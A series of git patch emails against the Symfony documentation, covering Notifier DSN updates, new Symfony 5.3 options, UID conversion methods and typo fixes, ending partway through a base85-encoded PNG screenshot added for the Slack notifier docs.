From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 8 Apr 2021 14:40:46 +0200
Subject: [PATCH 2035/7107] [Notifier] [FakeSms] [FakeChat] Update DSN

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index b260b58b58a..305c433f53d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                           DSN
 AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
 Clickatell  ``symfony/clickatell-notifier``   ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms     ``symfony/fake-sms-notifier``     ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+FakeSms     ``symfony/fake-sms-notifier``     ``fakesms+email://default?to=TO&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
@@ -153,7 +153,7 @@ integration with these chat services:
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM``
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``

From 9a69cac3322dc410d4bbfb2a5f53d33f332de1d7 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 25 Feb 2021 09:01:54 +0100
Subject: [PATCH 2036/7107] [Intl] Remove documentation about deprecated code

---
 components/intl.rst | 34 ++++------------------------------
 1 file changed, 4 insertions(+), 30 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index cb120034615..5331097be01 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -6,12 +6,11 @@ The Intl Component
 ==================
 
     This component provides access to the localization data of the `ICU library`_.
-    It also provides a PHP replacement layer for the C `intl extension`_.
 
 .. caution::
 
     The replacement layer is limited to the ``en`` locale. If you want to use
-    other locales, you should `install the intl extension`_. There is no conflict 
+    other locales, you should `install the intl extension`_. There is no conflict
     between the two because, even if you use the extension, this package can still
     be useful to access the ICU data.
 
@@ -30,30 +29,6 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-If you install the component via Composer, the following classes and functions
-of the intl extension will be automatically provided if the intl extension is
-not loaded:
-
-* :phpclass:`Collator`
-* :phpclass:`IntlDateFormatter`
-* :phpclass:`Locale`
-* :phpclass:`NumberFormatter`
-* :phpfunction:`intl_error_name`
-* :phpfunction:`intl_is_failure`
-* :phpfunction:`intl_get_error_code`
-* :phpfunction:`intl_get_error_message`
-
-When the intl extension is not available, the following classes are used to
-replace the intl classes:
-
-* :class:`Symfony\\Component\\Intl\\Collator\\Collator`
-* :class:`Symfony\\Component\\Intl\\DateFormatter\\IntlDateFormatter`
-* :class:`Symfony\\Component\\Intl\\Locale\\Locale`
-* :class:`Symfony\\Component\\Intl\\NumberFormatter\\NumberFormatter`
-* :class:`Symfony\\Component\\Intl\\Globals\\IntlGlobals`
-
-Composer automatically exposes these classes in the global namespace.
-
 Accessing ICU Data
 ------------------
 
@@ -211,9 +186,9 @@ Locales
 ~~~~~~~
 
 A locale is the combination of a language, a region and some parameters that
-define the interface preferences of the user. For example, "Chinese" is the 
-language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" 
-(script) + "Macau SAR China" (region). The ``Locales`` class provides access to 
+define the interface preferences of the user. For example, "Chinese" is the
+language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
+(script) + "Macau SAR China" (region). The ``Locales`` class provides access to
 the name of all locales::
 
     use Symfony\Component\Intl\Locales;
@@ -375,7 +350,6 @@ Learn more
     /reference/forms/types/locale
     /reference/forms/types/timezone
 
-.. _intl extension: https://www.php.net/manual/en/book.intl.php
 .. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
 .. _ICU library: http://site.icu-project.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html

From f9c37de16ef72f750eac88ec93feb9c1a6f893ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 10:38:39 +0200
Subject: [PATCH 2037/7107] [Serializer] Document the csv_end_of_line option

---
 components/serializer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 580f55aa613..6eac8eebd51 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -984,6 +984,8 @@ Option                  Description                                            D
 ``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
                         character only)
 ``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
+``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
+                        line in the CSV file
 ``csv_escape_char``     Sets the escape character (at most one character)      empty string
 ``csv_key_separator``   Sets the separator for array's keys during its         ``.``
                         flattening
@@ -1000,6 +1002,10 @@ Option                  Description                                            D
 ``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
 ======================= =====================================================  ==========================
 
+.. versionadded:: 5.3
+
+    The ``csv_end_of_line`` option was introduced in Symfony 5.3.
+
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 

From 60d3a1b335040c55dbaa7e2db485e15515ef8766 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 11 Apr 2021 13:12:35 +0200
Subject: [PATCH 2038/7107] [HttpFoundation] Fix IpUtils example

This PR fixes a small bug in the IpUtils class name.
---
 components/http_foundation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 449d29ea0f0..cbb1742dad1 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -331,11 +331,11 @@ analysis purposes. Use the ``anonymize()`` method from the
     use Symfony\Component\HttpFoundation\IpUtils;
 
     $ipv4 = '123.234.235.236';
-    $anonymousIpv4 = IPUtils::anonymize($ipv4);
+    $anonymousIpv4 = IpUtils::anonymize($ipv4);
     // $anonymousIpv4 = '123.234.235.0'
 
     $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
-    $anonymousIpv6 = IPUtils::anonymize($ipv6);
+    $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
 Accessing other Data

From 2a39702c83eb46fc496f487bb1955639a737a119 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 11 Apr 2021 13:23:04 +0200
Subject: [PATCH 2039/7107] [HttpFoundation] Minor fixes

---
 components/http_foundation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 3699eb17258..410fcd2272a 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -190,7 +190,7 @@ Finally, the raw data sent with the request body can be accessed using
 
     $content = $request->getContent();
 
-For instance, this may be useful to process a XML string sent to the
+For instance, this may be useful to process an XML string sent to the
 application by a remote service using the HTTP POST method.
 
 If the request body is a JSON string, it can be accessed using
@@ -519,7 +519,7 @@ call::
         's_maxage'         => 600,
         'immutable'        => true,
         'last_modified'    => new \DateTime(),
-        'etag'             => 'abcdef'
+        'etag'             => 'abcdef',
     ]);
 
 .. versionadded:: 5.1

From cc800ddfb486ff60d8ea2a8cf603f9657821f5ea Mon Sep 17 00:00:00 2001
From: Martin Bens <martin.bens@uni-bayreuth.de>
Date: Mon, 12 Apr 2021 01:18:39 +0200
Subject: [PATCH 2040/7107] Tip added to explain how to use HttpClient options
 in BrowserKit requests.

---
 components/browser_kit.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 76c0e33d5e1..764e42e0e2b 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -317,6 +317,12 @@ dedicated web crawler or scraper such as `Goutte`_::
         '.table-list-header-toggle a:nth-child(1)'
     )->text());
 
+.. tip::
+
+    You can also use HTTP client options like 'ciphers', 'auth_basic' and 'query'.
+    They have to be passed as the default options argument to the client, 
+    which is used by the HTTP browser.
+
 .. versionadded:: 4.3
 
     The feature to make external HTTP requests was introduced in Symfony 4.3.

From a9890170c674d9be585c043ab628913eac1cbd28 Mon Sep 17 00:00:00 2001
From: Anatoly Pashin <anatoly.pashin@gmail.com>
Date: Mon, 12 Apr 2021 16:48:28 +1000
Subject: [PATCH 2041/7107] [Runtime] Fix typo

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 75c84b0fe17..2bdad2e38f5 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -142,7 +142,7 @@ The following arguments are supported by the ``SymfonyRuntime``:
     ``Command::setCode()``).
 
 And these arguments are supported by both the ``SymfonyRuntime`` and
-``GenerGenericRuntime`` (both type and variable name are important):
+``GenericRuntime`` (both type and variable name are important):
 
 ``array $context``
     This is the same as ``$_SERVER`` + ``$_ENV``.

From 24c07cc105ebc887db74e92b654057a3b165a56f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 10:57:10 +0200
Subject: [PATCH 2042/7107] [Security] Document the login_throttling.interval
 option

---
 security.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/security.rst b/security.rst
index 3b1c81f8b20..13153307ad1 100644
--- a/security.rst
+++ b/security.rst
@@ -500,6 +500,11 @@ You must enable this using the ``login_throttling`` setting:
                     login_throttling:
                         max_attempts: 3
 
+                    # configure the maximum login attempts in a custom period of time
+                    login_throttling:
+                        max_attempts: 3
+                        interval: '15 minutes'
+
                     # use a custom rate limiter via its service ID
                     login_throttling:
                         limiter: app.my_login_rate_limiter
@@ -526,6 +531,9 @@ You must enable this using the ``login_throttling`` setting:
                     <!-- configure the maximum login attempts (per minute) -->
                     <login-throttling max-attempts="3"/>
 
+                    <!-- configure the maximum login attempts in a custom period of time -->
+                    <login-throttling max-attempts="3" interval="15 minutes"/>
+
                     <!-- use a custom rate limiter via its service ID -->
                     <login-throttling limiter="app.my_login_rate_limiter"/>
                 </firewall>
@@ -550,6 +558,12 @@ You must enable this using the ``login_throttling`` setting:
                         'max_attempts' => 3,
                     ],
 
+                    // configure the maximum login attempts in a custom period of time
+                    'login_throttling' => [
+                        'max_attempts' => 3,
+                        'interval' => '15 minutes',
+                    ],
+
                     // use a custom rate limiter via its service ID
                     'login_throttling' => [
                         'limiter' => 'app.my_login_rate_limiter',
@@ -558,6 +572,10 @@ You must enable this using the ``login_throttling`` setting:
             ],
         ]);
 
+.. versionadded:: 5.3
+
+    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
+
 By default, login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an

From 98b620676a23275b4bb12823398bab2fa1a8b9a4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 13:05:33 +0200
Subject: [PATCH 2043/7107] [Uid] Document the ::from() methods for UUIDs and
 ULIDs

---
 components/uid.rst | 40 ++++++++++++++++++++++++++++------------
 1 file changed, 28 insertions(+), 12 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 1bf66021fe1..b262768195a 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -71,12 +71,20 @@ to create each type of UUID::
 
     The ``Uuid::NAMESPACE_*`` constants were introduced in Symfony 5.3.
 
-If your UUID is generated by another system, use the ``fromString()`` method to
-create an object and make use of the utilities available for Symfony UUIDs::
+If your UUID value is already generated in another format, use any of the
+following methods to create a ``Uuid`` object from it::
 
-    // this value is generated somewhere else (can also be in binary format)
-    $uuidValue = 'd9e7a184-5d5b-11ea-a62a-3499710062d0';
-    $uuid = Uuid::fromString($uuidValue);
+    // all the following examples would generate the same Uuid object
+    $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    $uuid = Uuid::fromBinary("\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0");
+    $uuid = Uuid::fromBase32('6SWYGR8QAV27NACAHMK5RG0RPG');
+    $uuid = Uuid::fromBase58('TuetYWNHhmuSQ3xPoVLv9M');
+    $uuid = Uuid::fromRfc4122('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+
+.. versionadded:: 5.3
+
+    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
+    methods were introduced in Symfony 5.3.
 
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
@@ -85,7 +93,7 @@ Use these methods to transform the UUID object into different bases::
 
     $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
-    $uuid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $uuid->toBinary();  // string(16) "\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0"
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
@@ -238,12 +246,20 @@ Instantiate the ``Ulid`` class to generate a random ULID value::
 
     $ulid = new Ulid();  // e.g. 01AN4Z07BY79KA1307SR9X4MV3
 
-If your ULID is generated by another system, use the ``fromString()`` method to
-create an object and make use of the utilities available for Symfony ULIDs::
+If your ULID value is already generated in another format, use any of the
+following methods to create a ``Ulid`` object from it::
+
+    // all the following examples would generate the same Ulid object
+    $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
+    $ulid = Ulid::fromBinary("\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08");
+    $ulid = Ulid::fromBase32('01E439TP9XJZ9RPFH3T1PYBCR8');
+    $ulid = Ulid::fromBase58('1BKocMc5BnrVcuq2ti4Eqm');
+    $ulid = Ulid::fromRfc4122('0171069d-593d-97d3-8b3e-23d06de5b308');
+
+.. versionadded:: 5.3
 
-    // this value is generated somewhere else (can also be in binary format)
-    $ulidValue = '01E439TP9XJZ9RPFH3T1PYBCR8';
-    $ulid = Ulid::fromString($ulidValue);
+    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
+    methods were introduced in Symfony 5.3.
 
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
@@ -252,7 +268,7 @@ Use these methods to transform the ULID object into different bases::
 
     $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
 
-    $ulid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $ulid->toBinary();  // string(16) "\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08"
     $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
     $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"

From 8daccd39555d4db035625b0c4e25f55059efb929 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 16:52:54 +0200
Subject: [PATCH 2044/7107] [HttpFoundation] Document the unix_socket and
 charset options for MySQL PdoSessionHandler

---
 session/database.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/session/database.rst b/session/database.rst
index 01c663911e1..dffed5562e7 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -234,6 +234,16 @@ first register a new handler service with your database credentials:
             ;
         };
 
+.. tip::
+
+    When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
+    contain the ``charset`` and ``unix_socket`` options as query string parameters.
+
+    .. versionadded:: 5.3
+
+        The support for ``charset`` and ``unix_socket`` options was introduced
+        in Symfony 5.3.
+
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
 

From 12b0cfc4d6f9e3d47fa4a7046f4b8941107954ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 11:13:06 +0200
Subject: [PATCH 2045/7107] [DomCrawler] Clarify the ways to add contents

---
 components/dom_crawler.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 1363d977a3a..b1dda3d42f7 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -292,7 +292,9 @@ context of the crawler::
 Adding the Content
 ~~~~~~~~~~~~~~~~~~
 
-The crawler supports multiple ways of adding the content::
+The crawler supports multiple ways of adding the content, but they are mutually
+exclusive, so you can only use one of them to add content (e.g. if you pass the
+content to the ``Crawler`` constructor, you can't call ``addContent()`` later)::
 
     $crawler = new Crawler('<html><body/></html>');
 

From 0354465e71fd3b72c649f68d2a3f40b8ad0bc162 Mon Sep 17 00:00:00 2001
From: Linus Karlsson <linus@zozs.se>
Date: Mon, 12 Apr 2021 10:59:28 +0200
Subject: [PATCH 2046/7107] Update table in lock component

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 4200adcd817..dfb3962464c 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -357,7 +357,7 @@ Store                                         Scope   Blocking  Expiring Sharing
 :ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes      no
 :ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes      no
 :ref:`PdoStore <lock-store-pdo>`              remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       yes      yes
+:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       no       yes
 :ref:`RedisStore <lock-store-redis>`          remote  no        yes      yes
 :ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no       no
 :ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no       no

From a7cf4b344ddf31729e6b310848317d4cd8d15685 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 12 Apr 2021 13:20:30 +0200
Subject: [PATCH 2047/7107] Updated link to v5.2 version

---
 configuration/dot-env-changes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index bed01ea766a..6679600e908 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -85,7 +85,7 @@ changes can be made to any Symfony 3.4 or higher app:
    and update your `phpunit.xml.dist file`_ so it loads the ``tests/bootstrap.php``
    file.
 
-.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
+.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.2/public/index.php
 .. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
 .. _`comment on the top of .env`: https://github.com/symfony/recipes/blob/master/symfony/flex/1.0/.env
 .. _`create a new .env.test`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/.env.test

From f0853efdf4a695e53e924aada965b5879b5c72c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Apr 2021 13:43:33 +0200
Subject: [PATCH 2048/7107] Fixed RST syntax issue

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index d3c7b0e4c23..456cfc706c6 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -661,7 +661,7 @@ Customizing the Success Handler
 Sometimes, the default success handling does not fit your use-case (e.g.
 when you need to generate and return an API key). To customize how the
 success handler behaves, create your own
-:class:`Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface`::
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;

From d39b47767c9f8085e3e199f8d88f87d104fe7ad0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 7 Apr 2021 15:18:01 +0200
Subject: [PATCH 2049/7107] Docs for Slack options field() method

Closes #13398
---
 _images/notifier/slack/field-method.png | Bin 0 -> 17302 bytes
 notifier/chatters.rst                   |  38 ++++++++++++++++++++++++
 2 files changed, 38 insertions(+)
 create mode 100644 _images/notifier/slack/field-method.png

diff --git a/_images/notifier/slack/field-method.png b/_images/notifier/slack/field-method.png
new file mode 100644
index 0000000000000000000000000000000000000000..d77a60e6a2e920910686cfd06702d68360050bf6
GIT binary patch
literal 17302
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
